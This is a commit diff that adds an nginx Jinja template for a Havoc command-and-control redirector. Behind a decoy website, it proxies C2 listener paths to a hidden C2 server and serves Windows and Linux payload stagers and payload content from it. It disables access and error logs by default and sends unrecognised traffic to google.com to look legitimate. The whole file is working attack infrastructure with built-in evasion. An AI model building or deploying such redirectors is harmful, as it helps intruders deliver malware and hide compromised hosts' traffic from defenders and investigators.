Switching to Havoc C2

templates/redirector-havoc-fragment.j2

@@ -0,0 +1,105 @@
+server {
+    listen 80;
+    listen [::]:80;
+    server_name {{ redirector_domain }};
+    
+    # Redirect to HTTPS
+    return 301 https://$host$request_uri;
+}
+
+server {
+    listen 443 ssl;
+    listen [::]:443 ssl;
+    server_name {{ redirector_domain }};
+    
+    # SSL Configuration
+    ssl_certificate /etc/letsencrypt/live/{{ redirector_domain }}/fullchain.pem;
+    ssl_certificate_key /etc/letsencrypt/live/{{ redirector_domain }}/privkey.pem;
+    ssl_protocols TLSv1.2 TLSv1.3;
+    ssl_prefer_server_ciphers on;
+    ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305';
+    ssl_session_timeout 1d;
+    ssl_session_cache shared:SSL:10m;
+    
+    # Root directory
+    root /var/www/html;
+    index index.html;
+    
+    # Primary location for legitimate website traffic
+    location / {
+        try_files $uri $uri/ =404;
+    }
+    
+    # Havoc C2 HTTP listener paths
+    location ~ ^/api/v[12]/ {
+        proxy_pass http://{{ c2_ip }}:8080;
+        proxy_http_version 1.1;
+        proxy_set_header Host $host;
+        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
+        proxy_set_header X-Real-IP $remote_addr;
+        proxy_set_header Upgrade $http_upgrade;
+        proxy_set_header Connection "upgrade";
+    }
+    
+    # Havoc C2 HTTPS listener paths
+    location ~ ^/(dashboard|content)/ {
+        proxy_pass https://{{ c2_ip }}:443;
+        proxy_http_version 1.1;
+        proxy_set_header Host $host;
+        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
+        proxy_set_header X-Real-IP $remote_addr;
+        proxy_set_header Upgrade $http_upgrade;
+        proxy_set_header Connection "upgrade";
+        proxy_ssl_verify off;
+    }
+    
+    # Payload stager paths
+    location ~ ^/(windows|linux)_stager\.(ps1|sh)$ {
+        proxy_pass http://{{ c2_ip }}:8443/$1_stager.$2;
+        proxy_http_version 1.1;
+        proxy_set_header Host $host;
+        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
+        proxy_set_header X-Real-IP $remote_addr;
+    }
+
+    # Payload content paths
+    location ~ ^/content/(windows|linux)/(.+)$ {
+        proxy_pass http://{{ c2_ip }}:8443/content/$1/$2;
+        proxy_http_version 1.1;
+        proxy_set_header Host $host;
+        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
+        proxy_set_header X-Real-IP $remote_addr;
+    }
+    
+    # Security headers
+    add_header X-Content-Type-Options "nosniff" always;
+    add_header X-Frame-Options "SAMEORIGIN" always;
+    add_header X-XSS-Protection "1; mode=block" always;
+    add_header Referrer-Policy "no-referrer" always;
+    add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:;" always;
+    
+    # Disable logging for this server block if zero-logs is enabled
+    {% if zero_logs | default(true) | bool %}
+    access_log off;
+    error_log /dev/null crit;
+    {% endif %}
+}
+
+# Catch-all server block to respond to unknown hosts
+server {
+    listen 80 default_server;
+    listen [::]:80 default_server;
+    listen 443 ssl default_server;
+    listen [::]:443 ssl default_server;
+    
+    # Self-signed cert for catch-all
+    ssl_certificate /etc/ssl/certs/ssl-cert-snakeoil.pem;
+    ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key;
+    
+    # Redirect all unknown traffic to a legitimate-looking site
+    return 301 https://www.google.com;
+    
+    # Disable logs
+    access_log off;
+    error_log /dev/null crit;
+}